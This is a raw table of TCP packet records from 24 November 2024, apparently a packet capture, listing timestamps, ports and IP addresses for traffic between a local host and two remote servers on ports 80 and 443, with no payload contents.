Nov 24, 2024 14:24:24.867059946 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.867103100 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.867912054 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.867955923 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.868030071 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.868072033 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.868824959 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.868870020 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.868987083 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.869029045 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.869779110 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.869821072 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.869848013 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.869889975 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.870718002 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.870760918 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.023179054 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.023308992 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.023400068 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.023643017 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.023834944 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.023885965 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.024591923 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.024643898 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.024676085 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.025058985 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.025501966 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.025593042 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.025623083 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.025635004 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.026431084 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.026534081 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.026585102 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.027358055 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.027479887 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.027525902 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.028363943 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.028417110 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.028479099 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.028526068 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.029195070 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.029427052 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.029479027 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.030143976 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.030325890 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.030380011 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.031063080 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.031131029 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.031157017 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.031615019 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.032010078 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.032063961 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.032092094 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.032160997 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.032927036 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.032993078 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.033087969 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.033157110 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.033869982 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.033914089 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.033987999 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.034032106 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.034804106 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.034852028 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.034928083 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.035717964 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.035762072 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.035823107 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.036657095 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.036705017 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.036750078 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.036793947 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.037586927 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.037707090 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.037758112 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.038505077 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.038630962 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.038674116 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.039419889 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.039463043 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.039575100 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.040354967 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.040414095 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.040474892 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.041048050 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.041311979 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.041469097 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.041513920 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.042243004 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.042372942 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.042419910 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.043189049 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.043251038 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.043354034 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.043613911 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.044089079 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.044135094 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.044189930 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.044234037 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.045008898 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.045052052 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.045145035 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.045185089 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.045928001 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.045967102 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.046045065 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.046084881 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.046880007 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.046926022 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.046993971 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.047822952 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.047873020 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.047921896 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.048751116 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.048794985 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.048854113 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.048901081 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.049664974 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.049781084 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.049825907 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.050656080 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.050733089 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.050781012 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.051527977 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.051570892 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.051654100 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.052484989 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.052531958 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.052661896 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.053054094 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.053425074 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.053572893 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.053617954 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.054313898 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.054429054 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.054472923 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.055262089 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.055316925 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.055416107 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.055630922 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.056164980 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.056210995 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.056281090 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.056324959 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.057091951 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.057135105 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.057202101 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.057244062 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.058162928 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.058207989 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.058351994 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.058401108 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.058954000 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.059003115 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.059088945 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.059133053 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.059900045 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.059943914 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.060054064 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.060096025 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.060893059 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.060936928 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.060995102 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.061038971 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.061901093 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.061943054 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.062063932 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.062109947 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.062838078 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.062886953 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.062912941 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.062952042 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.063606024 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.063654900 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.063726902 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.063766956 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.064537048 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.064582109 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.064659119 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.064702034 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.065454960 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.065568924 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.065625906 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.066385031 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.066498995 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.066546917 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.067369938 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.067418098 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.067476988 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.067651987 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.068252087 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.068295002 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.068367958 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.068414927 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.069173098 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.069216967 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.069292068 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.069334984 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.070111036 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.070154905 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.070225000 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.070267916 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.071069956 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.071114063 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.071187019 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.071228027 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.071939945 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.071983099 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.198744059 CET	443	49793	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:25.198960066 CET	443	49793	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:25.199043036 CET	49793	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:25.199214935 CET	49793	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:25.199224949 CET	443	49793	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:25.224925041 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.224977970 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.225440979 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.225485086 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.225629091 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.225719929 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.225949049 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.225999117 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.226628065 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.226674080 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.226805925 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.226877928 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.227834940 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.227885962 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.228056908 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.228111029 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.228710890 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.228756905 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.228787899 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.228830099 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.229686975 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.229737997 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.229770899 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.229806900 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.230565071 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.230739117 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.230766058 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.231697083 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.233925104 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.233971119 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.235004902 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.235059977 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.235191107 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.235207081 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.235223055 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.235239983 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.235251904 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.235260010 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.235280991 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.235364914 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.235420942 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.235503912 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.235553980 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.236244917 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.236294031 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.236427069 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.236481905 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.236908913 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.236948967 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.237099886 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.237137079 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.237768888 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.237848997 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.237864971 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.237879992 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.237909079 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.237931967 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.237931967 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.238387108 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.238553047 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.238603115 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.239075899 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.239248991 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.239304066 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.240083933 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.240145922 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.240178108 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.240888119 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.240937948 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.240963936 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.241053104 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.241978884 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.242214918 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.242264032 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.243155956 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.243231058 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.243293047 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.243830919 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.243882895 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.243915081 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.244592905 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.244637966 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.244801044 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.245043993 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.245527983 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.245697975 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.245763063 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.246551991 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.246623993 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.246669054 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.247467995 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.247510910 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.247559071 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.248377085 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.248431921 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.248544931 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.248584032 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.249274969 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.249371052 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.249418020 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.250173092 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.250364065 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.250426054 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.251028061 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.251140118 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.251147985 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.251230001 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.252027035 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.252075911 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.252137899 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.252832890 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.252912998 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.252993107 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.253020048 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.253041029 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.253947973 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.253998041 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.254070997 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.254112959 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.254933119 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.254981041 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.255007029 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.255559921 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.255842924 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.255891085 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.255943060 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.256005049 CET	49778	80	192.168.2.4	31.41.244.11
